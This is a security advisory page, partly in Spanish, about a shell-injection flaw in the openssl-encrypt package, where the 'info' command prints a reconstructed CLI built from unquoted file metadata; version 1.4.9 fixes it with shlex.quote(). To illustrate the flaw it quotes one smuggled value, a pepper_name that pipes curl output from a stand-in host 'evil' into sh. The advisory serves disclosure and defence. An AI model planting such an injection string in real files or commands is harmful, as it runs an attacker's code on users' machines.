GHSA-GW2M-MJ6Q-59HC
'info' reconstructed-CLI block interpolates untrusted metadata unquoted (shell injection when pasted)
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-GW2M-MJ6Q-59HC divulgada | |
| Remediación | Parche 1.4.9 | openssl-encrypt · 1 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
The `info` command prints a 'Reconstructed CLI' block built by _reconstruct_cli_from_metadata, interpolating attacker-controlled metadata fields (pepper_name, hsm_plugin, algorithm, cipher_chain, kdf_config.hkdf.info, argon2.type, randomx.mode, and every numeric field) into shell command text with no quoting. A file whose pepper_name is 'work; curl -s http://evil/x | sh #' produces a printed command that executes attacker code when the user copies the block into a shell -- which is the block's stated purpose. Newline/escape injection in the same output can make the malicious suffix inconspicuous.
Fix (1.4.9): every interpolated value is now passed through shlex.quote(), so a crafted value cannot break out of its argument. Affects both the 1.4.x and 1.5.x lines. Tracked as gitlab#234.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiopenssl-encrypt |
Corregida | 1.4.9 | 1 d | 1.4.9 no afectada |
1.4.9Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-gw2m-mj6q-59hcLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
